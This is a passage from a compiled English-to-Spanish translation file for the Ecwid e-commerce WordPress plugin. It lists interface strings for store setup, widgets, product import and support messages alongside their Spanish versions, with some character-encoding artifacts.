widget and more on the <a href="%s">"Appearance / Widgets page"</a> here in your site admin. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">More details.</a>�You can add the entire storefront, categories, products, or "Buy now" buttons to other pages on your site. To do that, open a page in the editor and add an appropriate %s block.�You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open "Appearance > Menus" in your WordPress control panel and add the "Store with Categories Menu" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site.�You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">More details.</a>�You can control your store look and feel on the <a %s>Design settings page</a> in your store control panel.�You can display your store on the site main page. Adjust the "Reading" settings of your site as described in our <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">Help Center.</a>�You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href="%1$s">Appearance → Customize → %2$s</a>†menu to enable it.�You can enable filters in the store settings: (“<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Settings → Product Filters</a>â€).�You can send a new request here.�You have not viewed any product yet. Open store.�You will be able to sign up through your existing Google, Facebook or PayPal profiles as well.�Your %s store has �Your %s store is connected<br /> to your WordPress website�Your %s store is now connected<br /> to your WordPress website�Your Storefront�Your WooCommerce store has �Your email has been sent�Your product�Your store Control Panel. Right here in WordPress.�Your store has been created. Preparing your store dashboard ...�Your store is added to several pages on the site. Choose the main page. Customers are directed to the main store page when they click on the cart icon, store links in the site menu, and products in the sidebar.�Your store is almost ready!�Your store is not added to any page on your site. To let customers browse your store and place orders, create a page where the store will display.�Your store page�Your store page is currently in draft. Once you are ready, publish it to let customers browse the store and place orders.�Your store page is published. Customers can browse your store at �Your store will be shown here�Your store will be shown here!�Your storefront (product listing and checkout) is working fine, but the advanced store functions like SEO and sidebar widgets are disabled. To enable them and make sure your store works properly, please press the button below to connect your %s account. This will take less than a minute — you will only be asked to log in to your account and allow this site to get your store data.�[%s] WordPress plugin deactivation feedback (store ID: %s)�customize appearance�gutenberg-product-blockContent�gutenberg-store-block-stubStore�http://www.ecwid.com?partner=wporg�https://ecwid.to/ecwid-site�https://support.ecwid.com/hc/en-us�https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products�https://support.ecwid.com/hc/en-us/search�https://www.ecwid.com/blog�or <a %s>Browse the Help Center�product-browser-attributesProduct SKU�product-browser-attributesProduct price�select product�selected product�vc-tabOnline store�«Buy now» button�PO-Revision-Date: 2020-10-12 12:46 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: Poedit 2.4.1 Language: es Project-Id-Version: temporary-strings X-Crowdin-Project: temporary-strings X-Crowdin-Project-ID: 295314 X-Crowdin-Language: es-ES X-Crowdin-File: /Wordpress Plugin/wp-plugins-ecwid-shopping-cart-stable.po X-Crowdin-File-ID: 988 Language-Team: Spanish Last-Translator: � Elegir otro producto� ¡Muchas gracias por ponerse en contacto con nosotros! Nos pondremos en contacto con usted en breve.�Etiqueta de productos «En existencia»�%s�Blog de %s�Carrito de compras de %s�Tienda de %s�Página de la tienda de %s�El complemento %s no funciona bien con mi tema «%s»�%s producto�%s productos�%s productos y %s categorías�%s productos y categorías�Configuraciones del carrito de compras de %s�%s almacena los datos de sus productos de forma segura en la nube. Las páginas de productos se muestran sobre la marcha cuando un cliente navega por su tienda. Por lo que, básicamente, los productos no se almacenan en el sitio web, por eso la búsqueda en el sitio web no encuentra páginas de productos mientras busca en las páginas del sitio web y en las publicaciones. Esta opción habilita un modo de almacenamiento local: los productos se almacenarán tanto en la nube como en su sitio web. Los resultados de la búsqueda en el sitio web incluirán las páginas de productos, así como las páginas o publicaciones habituales de su sitio web.�%s — Configuración avanzada�(podrá confirmar los cambios antes de la importación definitiva)�2 columnas, imagen a la izquierda�2 columnas, imagen a la derecha�3 columnas, imagen a la izquierda�3 columnas, imagen a la derecha�<a %s>Tienda en línea con tecnología de %s</a>�<a %s>Volver a conectar</a>�<a href="admin.php?page=�<b>%s</b> categorías�Un «slug» es la última parte de una URL. Puede crear un «slug» personalizado para la página de su tienda. Es mejor que sea corto, ya que los clientes y los motores de búsqueda prefieren las URL cortas. Por ejemplo, utilice «/tienda» o «/productos».�Acción requerida: conecte su cuenta de %s�Añadir producto�Añadir tienda�Añadir la página de la tienda al menú�Añadir una página de categoría�Añadir página de productos�Añadir una página de búsqueda y filtros�Añadir una página de tienda�Añadir una tienda en línea a su sitio web�Añadir borde�Añadir carrito y página de pago�Añadir categorías�Añadir la página de la tienda al menú del sitio web�Añadir escaparate virtual (listado de productos)�Añadir al menú�Añada su tienda de %s al sitio web y comience a vender en minutos.�Añada su tienda a otras páginas del sitio web�Añada su escaparate virtual a la página de inicio del sitio web para que sea más notable. También puede modificar la configuración de la página de inicio del sitio web en <a href="%s" target="_blank">Configuración de WordPress > Lectura</a>.�Páginas adicionales de la tienda�Además, puede añadir controles de la tienda a la barra de herramientas de su sitio web mediante <a %s>«widgets» nativos de WordPress</a>.�Añade un «widget» de carrito para que el cliente vea los productos que se han añadido al carrito.�Añade un «widget» de carrito compacto para que el cliente vea los productos que se han añadido al carrito.�Añada un «widget» de carrito de compras en la esquina superior derecha de su sitio web.�Añade la lista de categorías raíz a la barra lateral para que sus clientes puedan desplazarse por la tienda.�Añade un bloque de categorías verticales para permitir que el cliente navegue por su tienda.�Ajuste el diseño de su tienda para que se adapte a las necesidades de su negocio.�Etiqueta de administrador�Avanzado�Configuraciones avanzadas�Después de la importación, su tienda de %s tendrá �Todos los canales de venta�Junto con el catálogo de la tienda, puede añadir otros «widgets» y textos a la página de la tienda.�Apariencia�Aplicaciones�Cantidad disponible en existencia�Regresar a la configuración de la tienda�Color del fondo�Bolsa�Cesta�Antes de que se vaya�Borde�Borde:�Abajo a la izquierda�Abajo a la derecha�Migas de pan�Explorar todos los productos.�Buscar por categoría�Importar en masa productos y categorías a su tienda de %s�Color del botón�Comprar ahora�Botón «Comprar ahora»�Botones de «Comprar ahora»�Al continuar, acepta los <a %s>Términos de servicio</a> y la <a %s>Política de privacidad</a>.�Clase CSS�ID de CSS�¿Podría compartir el nombre del complemento que ha elegido?�¿Podría compartir su opinión? ¿Qué fue lo que pasó?�Cancelar�Carrito�Carrito y pago�Icono del carrito de compras�Icono del carrito:�Catálogo�Categorías�Categoría�Apariencia de la lista de categorías�Diseño de la ficha de categoría�Categoría mostrada por defecto�Relación de aspecto de la miniatura de la categoría�Tamaño de la miniatura de la categoría�Centrado�Centrar la alineación en una página�Cambiar�Cambiar el contenido de la tienda�Elegir producto�Elegir producto�Elija las propiedades del producto para mostrarlas en el «widget»�Elegir la página principal de la tienda�Elija los «widgets» a mostrar�Haga clic en el botón «Conectar» para obtener los permisos para actualizar el catálogo de productos�Configuración de colores�Completar configuración�Complete la configuración y comience a vender�Configuración�¡Enhorabuena!�Conectar�Conecte su tienda�Conecte su tienda de %s�Conecte su tienda�Error de conexión: después de hacer clic en el botón, debe iniciar sesión y otorgar los permisos para poder utilizar nuestro complemento. Inténtelo de nuevo.�Ponerse en contacto con la asistencia�Póngase en contacto con nosotros�Contenido�Copia de productos y categorías.�Crear página del carrito�Crear página de categorías�Crear página de productos�Crear página de búsqueda�Crear tienda�Crear la página de la tienda�Cree una página de aterrizaje con uno de sus productos.�Cree una nueva cuenta de %s que utilizará para gestionar su tienda e inventario. El registro es gratuito.�Cree una nueva tienda o, si ya tiene una cuenta de %s, conéctela. El complemento le guiará a través de la configuración de la tienda y le ayudará a publicarla en su sitio web.�Crear una nueva cuenta�Crear tienda�Página actual�«Slug» actual de la dirección URL: /<span data-ec-store-slug>%s</span>�Inicio de sesión único del cliente�Clientes�Los clientes no pueden ver la página de su tienda porque está en un borrador. Publique la página para que esté disponible para sus clientes.�Los clientes van a la página del carrito para consultar los productos que han añadido al mismo y proceder con el pago.�Personalizar el diseño�Personalizar la apariencia de la tienda�Personalizar la dirección de la página de la tienda�Personalizar «widget»�Personalice la apariencia de su tienda para que se ajuste a las necesidades de su negocio. Cree la apariencia para su tienda que más se parezca a su marca.�Gris cian azulado�Panel�Categoría predeterminada�ID de categoría predeterminada�ID del producto predeterminado�Modo de vista predeterminado en las páginas de productos�Modo de vista predeterminado en los resultados de búsqueda�Productos eliminados sincronizados: %1$s de %2$s�Tienda de demostración�Tienda de demostración�Diseño�Diseño y contenido�Detectar automáticamente�Desconectar tienda�Mostrar un botón de compra�Mostrar migas de pan�Mostrar icono del carrito�Mostrar el menú de categorías�Mostrar la barra de navegación de las categorías�Mostrar la página de categorías�Mostrar el menú del pie de página�Mostrar la página de productos con la descripción y un botón de compra�Mostrar el producto con un botón de compra�Mostrar el cuadro de búsqueda�Mostrar página de búsqueda con los filtros a un lado�Mostrar enlace y resumen de la bolsa de compras�Mostrar el carrito de compras�Mostrar el carrito de compras y la página de pago�Mostrar el enlace de inicio de sesión�Mostrar «ordenar por enlace»�Muestre el icono del carrito de compras en las páginas del sitio web�Producto mostrado�Muestra un enlace a la página de la tienda en la barra lateral para que el cliente acceda rápidamente a su tienda desde cualquier página del sitio web.�Muestra una lista de productos vistos recientemente por el cliente para volver fácilmente a los productos que vieron en su tienda.�Muestra una lista de productos aleatorios.�Muestra un producto aleatorio de su tienda para atraer la atención del cliente.�Muestra un cuadro de búsqueda simple para que sus clientes encuentren un producto en su tienda.�Muestra el escaparate virtual: listado de productos y pago�Muestra los últimos productos añadidos de su tienda. Muestre nuevos productos a los clientes existentes para impulsar las ventas repetidas.�No mostrar�¿Le gusta Ecwid y quiere ayudarlo a crecer? Puede añadir este elegante distintivo «Powered by Ecwid» en su sitio web para mostrarles a sus visitantes que es un usuario orgulloso de Ecwid.�¿Le gusta su tienda de %s en línea? Apreciaríamos si comparte su opinión y vota por el complemento en el sitio de WordPress.�Hecho�Descargar <a href="%s">registro de importación</a>�Descargar archivo de registro�Borrador�Por ejemplo, cómo establecer el envío�Distintivo de Ecwid�Comercio electrónico Ecwid�Carrito de compras del comercio electrónico de Ecwid�Elemento del menú de Ecwid�Ecwid le permite subir sus productos en forma de archivo CSV. Obtenga más información sobre esta herramienta en el centro de asistencia de Ecwid�«Widget» de comercio electrónico de Ecwid�Solución de comercio electrónico de Ecwid�Carrito de compras gratuito de Ecwid�Ecwid cuenta con la certificación PCI DSS Nivel 1, que es el estándar de oro para las soluciones de comercio electrónico en todo el mundo. Esto significa que no tendrá problemas de cumplimiento bancario cuando venda en línea con Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security">Más detalles.</a>�Ecwid es un carrito de compras gratuito con todas las funciones. Se puede integrar fácilmente con cualquier blog de Wordpress y se configura en menos de 5 minutos.�Ecwid es compatible con cualquier tema de WordPress. Ya sea un tema gratuito del catálogo de WordPress.org, un tema prémium de un proveedor externo o un tema personalizado; su tienda de Ecwid funcionará bien con cualquiera de ellos. Si desea un tema prémium, le recomendamos <a href="%s">temas de TemplateMonster</a>.�Ecwid ofrece aplicaciones móviles gratuitas para iOS y Android para que pueda gestionar su tienda y vender donde y cuando quiera. Escanee productos, supervise el inventario, gestione las ventas y acepte pagos utilizando su dispositivo móvil como una estación de punto de venta. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">Más detalles.</a>�Carrito de compras de Ecwid�«Widget» de carrito de compras de Ecwid�Editar�Editar apariencia�Editar categoría�Editar producto�Editar tienda�Editar «slug» de la dirección URL�Editar página�Introduzca un ID de CSS opcional que se utilizará para este módulo. Se puede utilizar un ID para crear un estilo CSS personalizado o para crear enlaces a secciones particulares de su página web.�Introduzca las clases CSS opcionales que se utilizarán para este módulo. Se puede utilizar una clase CSS para crear estilos CSS personalizados. Puede añadir varias clases separadas por un espacio.�Introduzca el ID de su tienda�Introduzca el ID de su tienda aquí:�Extensiones para su tienda�Destacar una categoría de la tienda específica en una página separada de su sitio web.�Destaque sus productos en la barra lateral�Filtros�Posición del panel de filtros�Encuentre el ID de su tienda�Primera página�Preguntas frecuentes�Descargue la aplicación móvil de %s�Ir a «Páginas»�Ir a sus productos de %s�¡Saludos!�¡Enhorabuena! Su complemento de %s ya está activo.�Cuadrícula�Vista de cuadrícula�Ayuda�Ayude a los clientes a encontrar su tienda en el sitio web. Añada el enlace de la tienda al menú del sitio web, cree páginas adicionales de la tienda y resalte los productos de la tienda en otras páginas del sitio web y en las barras laterales.�Ayude a los clientes a encontrar su tienda en el sitio web.�Aquí puede gestionar cuántos productos se mostrarán por página. Estas opciones definen valores máximos. Si no hay suficiente espacio para mostrar todas las columnas de productos, %s adaptará el número de columnas para mantener todos los productos.�Aquí puede crear el contenido que se utilizará dentro del módulo.�Aquí, le ayudaremos a subir su catálogo de productos a %s de otro carrito de compras u otras fuentes.�Ocultar�Destaque productos, categorías y otras páginas de la tienda añadiéndolas a páginas del sitio web separadas.�Destaque sus mejores ventas o nuevos productos en la barra lateral del sitio web.�Sangría horizontal�Miniaturas horizontales�¿Cómo puedo añadir un «widget» de carrito de compras a la barra lateral de mi sitio web?�¿Cómo puedo gestionar mi tienda desde un dispositivo móvil?�¿Cómo podemos ayudarle?�¿Cómo puedo añadir categorías de tiendas al menú del sitio web?�¿Cómo pongo mis productos en el mapa del sitio?�¿Cuánto cuesta Ecwid?�¿Qué tan seguro es este complemento? ¿Mi tienda cumple con el PCI DSS?�¿Cómo añadir un solo producto con el botón de «añadir a la bolsa» en las páginas del sitio web?�¿Cómo crear una tienda en Facebook con Ecwid?�Ya tengo una cuenta, iniciar sesión�No pude encontrar un tema de WordPress adecuado para %s�Encontré un mejor complemento�Tengo un problema con el uso de este complemento�Tengo un problema con mi tienda de %s�Utilizo este tema de WordPress: %s�Icono�Icono y total de artículos�Icono, etiqueta y total de artículos�Icono, etiqueta, total de artículos y subtotal�Icono, etiqueta, total de artículos, subtotal y enlace�Si tiene un momento, háganos saber por qué está desactivando:�Imagen y título al pasar el ratón por encima�Canal de imagen�Diseño de la galería de imágenes�Solo imagen�Importar�Importe sus productos de Woocommerce a %s�Importación completada�Importación completada. <a href="%s">Ejecútela de nuevo.</a>�La importación crea nuevos productos y actualiza los productos existentes con las REF correspondientes.�La importación está en progreso�Importar mis productos de WooCommerce�Importar el catálogo de productos de WooCommerce�Importar el catálogo de productos de otras fuentes�Importe los productos a su tienda de %s�Resumen de la importación�Importe su catálogo de WooCommerce a %s�Importe sus productos de WooCommerce a %s�Importe sus productos de Woocommerce a %s�<b>%s</b> productos importados�Importando %s de %s artículos�Insertar�Insertar en la página�Sitio web instantáneo�Integración con la búsqueda en su sitio web�¿Es posible mostrar mi tienda en la página de inicio del sitio web?�¿Existe algún tema de WordPress para Ecwid?�Es una desactivación temporal. No preguntarme de nuevo.�Solo el total de artículos�Justificado�Base de conocimiento�G�Etiqueta y y total de artículos�Horizontal 3:2�Horizontal 4:3�Última página�Última actualización�Últimos productos�Diseño�Diseño:�Más información�Izquierda�Cian verde claro�Color del enlace�Producto vinculado�Lista�Vista de lista�Parece que su sitio web no admite solicitudes POST remotas, las cuales son necesarias para que la API de %s funcione. Comuníquese con su proveedor de alojamiento web para habilitar cURL.�Ãmbar vívido y brillante�Naranja vívido y brillante�M�Haga que su tienda sea accesible desde el menú del sitio web para que sus clientes puedan encontrarla fácilmente.�Gestionar la barra lateral�Gestione la tienda desde iPhone, iPad o Android�Gestione productos, supervise las ventas y ajuste la configuración: <nobr>todo sin</nobr> salir de esta página.�Gestionar la tienda�Gestionar escaparate virtual�Mercadotecnia�Móvil�Mi cuenta�Mi perfil�Mis ventas�Nombre�Navegación�¿Necesita ayuda para importar sus productos de WooCommerce a %s?�Nunca mostrar este mensaje otra vez�Página siguiente�Página siguiente�No, gracias�Sin borde�No se ha sincronizado todavía�Nota: cuando está habilitado, el «widget» del carrito siempre se mostrará en la vista previa para que sea más fácil personalizarlo. Las opciones «Mostrar en las páginas de la tienda» y «Mostrar cuando esté vacío» se aplicarán al «widget» del carrito en el sitio cuando se publiquen�No se ha encontrado nada en relación con <span class="empty-page__term">«{{ data.term }}»</span>�Número de categorías por fila�Número de productos por página�Número de productos para mostrar�A la izquierda�A la derecha�Tienda en línea�Aplicaciones de la tienda en línea�Tienda en línea�Abrir el panel de control�Abrir el panel de la tienda�Opciones�Pedidos�Otro�Nuestros 4 tipos de cuentas varían según la cantidad de productos, los tipos de funcionalidades y el nivel de asistencia. Para obtener más información, consulte nuestra <a target="_blank" href="%s">página de precios.</a><br /><br />Consejo profesional: también puede ahorrar dinero si se suscribe a nuestros planes anuales.�Nuestro equipo ya está trabajando en este asunto. Actualice la página en unos minutos. Si el problema persiste, comuníquese con <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">nuestro equipo de atención al cliente</a>.�Ya existe una página con ese nombre.�Azul cian pálido�Rosa pálido�Parte de los productos no se han copiado a %1$s porque alcanzó el límite de productos en su plan de precios en %1$s. Si desea importar más productos, considere <nobr><a %2$s>actualizar su plan de %1$s.</a></nobr>�Pago�Personalice la apariencia de su escaparate virtual y edite el contenido en la página de la tienda para reflejar su marca y mantenerse conectado con sus clientes.�Elegir una categoría�Elegir un producto�Imagen�Píldora�Tenga en cuenta el número máximo de productos y categorías que puede tener en su tienda de Ecwid. Esta herramienta de importación se detendrá automáticamente cuando se alcance el límite de productos de la tienda. Para conocer el límite actual de la tienda o aumentarlo, consulte la página <nobr><a %s target="_blank">«Facturación y planes»</a></nobr> ubicada en el panel de su tienda de Ecwid.�Suscríbase a un plan de pago para obtener esta función.�Complementos para Ecwid�Vertical 2:3�Vertical 3:4�Posición�Vista previa�Página anterior�Precio�Color del precio�Producto�Ficha de producto ampliada�Ficha de producto reducida�Apariencia de la lista de productos�Apariencia de la página del producto�REF del producto�Búsqueda de productos�Cuadro de búsqueda de productos�Búsqueda de productos y filtros�El texto de la ficha del producto se alinea�El catálogo de productos se mostrará automáticamente�Diseño de la página de productos�Precio del producto�Cantidad de productos�Contenido de la barra lateral de productos�Relación de aspecto de la miniatura del producto�Tamaño de la miniatura del producto�Título del producto�Productos�Los productos se sincronizaron satisfactoriamente. Las páginas de productos están actualizadas.�Productos eliminados sincronizados: %1$s de %2$s�Promocione su tienda�Otorgar acceso.�Proporcionado por <a %s>%s</a>�Publicar�Publicar la página de la tienda�Publique la página para poder utilizar esta opción�Publicada�Cantidad�¿Tiene alguna pregunta?�Producto aleatorio�Productos aleatorios�Tasa de %s en WordPress.org�Vuélvase a conectar para activar el panel de control�Productos vistos recientemente�Recomendaciones para su tienda en línea�Rectángulo�Actualizar la lista de categorías�Registrarse en %s�Informar un problema con la tienda�Informes�Derecha�P�REF�Ventas�Canales de venta�Guardar�Guarde y conecte su tienda de %s al sitio web�Guardar cambios�Buscar�Búsqueda y filtros�Buscar productos�Buscar en la base de conocimientos�Ver más�Seleccionar todo�Seleccionar categoría�Producto seleccionado�Categoría seleccionada�Vender en Facebook�Enviar mensaje�Envíe un mensaje a nuestro equipo de asistencia�Ocurrió un error al enviar el mensaje�Configure su tienda�Configurar manualmente�Configure su tienda�Configuraciones�Configuración�Envío y recogida�Tienda�Carrito de compras�Carrito de compras (descontinuado)�Carrito de compras flotante (descontinuado)�Icono del carrito de compras�Carrito de compras en miniatura (descontinuado)�«Widget» del carrito de compras�Mostrar�Mostrar imagen adicional al pasar el ratón�Mostrar categorías�Muéstreles a los clientes que pueden utilizar la búsqueda y los filtros para encontrar los productos que deseen de forma más rápida.�Mostrar descripción debajo de la imagen�Mostrar minicarrito�Mostrar en todas las páginas�Mostrar al pasar el ratón�Mostrar en las páginas de la tienda�Mostrar el precio dentro del botón de «Comprar ahora»�Mostrar el precio dentro del botón de «Comprar ahora»�Mostrar el borde de la ficha del producto�Mostrar miniaturas de los productos�Mostrar búsqueda�Mostrar cuando esté vacío�Muestre su tienda en la página de inicio�El inicio de sesión único les permite a sus clientes tener un inicio de sesión único para su sitio web de WordPress y su %s. Cuando alguien inicie sesión en su sitio web, también iniciará sesión automáticamente en su cuenta de cliente en la tienda sin necesidad de introducir su correo electrónico y contraseña nuevamente.�Icono pequeño�Icono pequeño y total de artículos�Algunos de los artículos no se pudieron importar.�Le pido disculpas por las dificultades técnicas que estamos experimentando.�Lo siento, hay un problema. Se supone que esta página muestra el panel de control de su tienda; sin embargo, este sitio web de Wordpress no parece poder conectarse al servidor de Ecwid para mostrar el panel de su tienda aquí. Es probable que esto se deba a una mala configuración del servidor; su proveedor de alojamiento web puede solucionarlo. Aquí hay una descripción más técnica del problema, la cual puede enviarle a su proveedor de alojamiento web: «La función de Wordpress wp_remote_post() no pudo conectarse a un servidor remoto debido al error: “%sâ€; parece que las solicitudes HTTP POST están inhabilitadas en este servidor». <br /><br />No dude en ponerse en contacto con nosotros en <a %s>wordpress@ecwid.com</a> y le ayudaremos a comunicarse con su proveedor de alojamiento web para pedirle que solucione el problema. <br /><br /> Mientras tanto, para gestionar su tienda, puede utilizar el panel de control web de Ecwid en <a %s>my.ecwid.com</a>. Su escaparate virtual está funcionando bien; puede echarle un vistazo aquí: <a %s>%s</a>.�Cuadrado 1:1�Iniciar la importación�Estado�Manténgase conectado con sus clientes. Actualice el contenido de su tienda en cualquier momento para informarles a los clientes sobre las promociones actuales y las novedades de su tienda.�¿Todavía tiene preguntas acerca de Ecwid? ¡Háganoslo saber!�Tienda�Categorías de la tienda�Menú de categorías de la tienda�Página de categorías de la tienda�Página del escaparate virtual�Página de inicio de la tienda�ID de la tienda�El ID de la tienda es un identificador único de cualquier tienda de %1$s, el cual consta de varios dígitos. Puede encontrarlo en la página «Panel» del panel de control de %1$s. El ID de la tienda se enviará en el correo electrónico de bienvenida después del registro.�El ID de la tienda es un identificador único de su cuenta de %1$s. Puede encontrarlo en su panel de control de %1$s en la <a %2$s>página del panel</a>.�Título del enlace de la tienda�Navegación en la tienda�Página de la tienda�Enlace a la página de la tienda�Categorías raíz de la tienda�Apariencia de la tienda�Elementos de la tienda�Gestión de la tienda�Contenido de la página de la tienda�Página de la tienda en su sitio web�Categoría raíz de la tienda�Tienda con menú de categorías�Escaparate virtual�Asunto�Enviar y desactivar�Cambiar al borrador�Sincronizar productos�Tabla�Vista de tabla�Siga unos sencillos pasos para completar la configuración de la tienda�Aproveche las increíbles aplicaciones y extensiones diseñadas para mejorar su tienda.�Texto�Color del texto�Gracias por elegir %s para construir su tienda en línea�El bloque está oculto porque no tiene categorías en su tienda. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Añadir categorías.</a>�La categoría que se muestra de forma predeterminada en la página del escaparate virtual�El primer paso para abrir su negocio en línea: <br />añadamos una tienda a su sitio web de WordPress en <strong>3</strong> simples pasos.�El complemento no es compatible con la función que quiero�El icono del carrito de compras muestra la cantidad de artículos en el carrito y ayuda a los clientes a realizar el pago. Además, puede <a href="%s" target="_blank">ajustar la apariencia del icono del carrito</a>.�La tienda no es visible en su sitio web�Las categorías de alto nivel de la tienda se añaden automáticamente a este menú desplegable�Temas para Ecwid�Esta importación copiará sus productos y categorías de WooCommerce a su tienda de %s.�Esto es una tienda de demostración. Cree su tienda para ver los productos de su tienda aquí.�Esto cambiará la etiqueta del módulo en el creador para una fácil identificación.�Título�Título en la imagen�Solo título�Título o REF�Título debajo de la imagen�Título:�Para añadir funciones adicionales a su tienda, arrastre y suelte los elementos de la tienda de %s en su sitio web. Una vez que haya terminado, puede volver a modificar su configuración.�Para añadir su tienda a su sitio web, introduzca el ID de su tienda de %1$s en el campo a continuación. Si aún no tiene una cuenta de %1$s, cree una gratis en el <a %2$s>sitio web de %1$s</a>.�Para permitir que %s inicie la sesión de sus clientes automáticamente en su tienda, otorgue los permisos para utilizar los datos del cliente en la tienda. <a %s>Utilice este enlace para hacerlo</a>�A fin de poder elegir un producto para insertarlo en sus publicaciones y páginas, deberá volver a conectar su sitio a su tienda de %s. Esto solo requerirá que acepte la solicitud de permisos para que el complemento pueda listar sus productos en el cuadro de diálogo «Añadir producto».�Para crear un «Mapa del sitio» para su sitio web de Wordpress, le sugerimos que utilice los  complementos <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> o <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>. Estos complementos son totalmente compatibles con Ecwid y permiten generar un mapa del sitio que contiene enlaces a categorías y páginas de productos, por lo que las páginas de la tienda se indexarán más rápido. Tenga en cuenta que esta opción solo está disponible para los <a target="_blank" href="https://www.ecwid.com/pricing">usuarios de pago de Ecwid</a>.�Para mostrar su tienda en este sitio web, debe permitir que WordPress acceda a sus productos de %1$s. Pulse «Conectar» para otorgar el permiso.�Para habilitar esta función, el complemento necesita un permiso para leer la información del producto de su tienda.�Para mostrar un solo producto en una página aparte o en una entrada de blog de su sitio web, utilice el código corto <b>[ecwid_product]</b>. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">Cómo utilizarlo</a>�Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para mejorar la apariencia de su página de productos y poder gestionarla desde aquí, habilite la opción «Apariencia de próxima generación de la página de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para mejorar la apariencia de su tienda y poder gestionar la apariencia de su escaparate virtual desde aquí, habilite la opción «Apariencia de próxima generación de la lista de productos en el escaparate virtual» en el panel de su tienda. («<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Configuración → Novedades</a>»).�Para asegurarse de que su cliente puede acceder realmente a su sitio web y a la tienda, habilite el registro en las <a %s>configuraciones del sitio web</a>�Para gestionar su tienda, vaya a la <a %s>página del «Panel de su tienda»</a>�Para vender utilizando %1$s, debe permitir que WordPress acceda al complemento %1$s. El botón «Conectar» lo redirigirá a su cuenta de %1$s donde puede otorgar el permiso.�Para mostrar su escaparate virtual en lugar de la tienda de demostración, conecte su cuenta de %s existente o cree una nueva.�Para comenzar a vender, añada una página a su sitio web donde se muestre el escaparate virtual.�Arriba a la izquierda�Arriba a la derecha�Intente otra búsqueda.�Escriba su mensaje aquí�«Slug» de la dirección URL�Actualizar�Actualice su catálogo�Actualice para obtener esta función�Sangría vertical�Miniaturas verticales�Gris oscuro�Gris claro�Ver la página de la tienda�Ver la página de la tienda de demostración�Ver la página de la tienda�Visitar escaparate virtual�Azul cian vívido�Cian verde vívido�Rojo vívido�¿Desea conectar otra tienda de %s?�Advertencia: algunas de las funciones de su tienda en línea están inhabilitadas. Póngase en contacto con su proveedor de alojamiento web para resolverlo.�Notamos que tiene un WooCommerce instalado. Su tienda de WooCommerce tiene %1$s productos y %2$s categorías; ¿le gustaría importarlos a %3$s?�Notamos que tiene WooCommerce instalado. Si desea copiar fácilmente sus productos de WooCommerce a %s, esta herramienta le ayudará.�Estamos sincronizando sus productos. Esto puede tardar unos minutos. No actualice la página.�Sitio web�¿Qué función necesita?�¿Qué fue lo que pasó?�¿Qué sigue?�Mientras su tienda aún no esté conectada, se mostrará una tienda de demostración en su sitio web. Échele un vistazo para tener una idea de cómo se verá su tienda en el sitio web.�Precios al por mayor�Puede añadir un cuadro de búsqueda de productos, un «widget» de carrito y más desde la <a href="%s">«Página de apariencia y widgets»</a> que se encuentra aquí en el administrador de su sitio web. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">Más detalles.</a>�Puede añadir todo el escaparate virtual, las categorías, los productos o los botones de «Comprar ahora» a otras páginas de su sitio web. Para ello, abra una página en el editor y añada un bloque %s apropiado.�Puede añadir el menú de categorías de la tienda al menú de su sitio web para ayudar a sus clientes a navegar fácilmente por su sitio web. Simplemente abra «Apariencia > Menús» en el panel de WordPress y añada el elemento «Tienda con menú de categorías» al menú de su sitio web. Aparecerá automáticamente un menú desplegable que contendrá las categorías de su tienda en su sitio web.�Puede añadir su tienda en línea a su página empresarial de Facebook (no se necesitan complementos). Ecwid sincronizará automáticamente los productos, clientes, pedidos e inventario entre su tienda en línea de WordPress y Facebook. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">Más detalles.</a>�Puede gestionar la apariencia de su tienda en la <a %s>página de «Configuración del diseño»</a> ubicada en el panel de control de su tienda.�Puede mostrar su tienda en la página principal del sitio web. Ajuste la configuración de «Lectura» de su sitio web como se describe en nuestro <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">centro de asistencia.</a>�Puede habilitar un «widget» adicional del icono de la bolsa de compras que aparecerá en las páginas de su sitio web. Abra el menú «<a href="%1$s">Apariencia → Personalizar → %2$s</a>» para habilitarlo.�Puede habilitar los filtros en la configuración de la tienda: («<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Configuración → Filtros para los productos</a>»).�Puede enviar una nueva solicitud aquí.�Aún no ha visto ningún producto. Abra la tienda.�También podrá registrarse a través de sus perfiles existentes de Google, Facebook o PayPal.�Su tienda de %s tiene �Su tienda de %s está conectada<br /> a su sitio web de WordPress�Su tienda de %s ahora está conectada<br /> a su sitio web de WordPress�Su escaparate virtual�Su tienda de WooCommerce tiene �Se ha enviado su correo electrónico�Su producto�Panel de control de su tienda. Aquí mismo en WordPress.�Se ha creado su tienda. Preparando el panel de su tienda...�Su tienda se añade a varias páginas del sitio web. Elija la página principal. Los clientes son 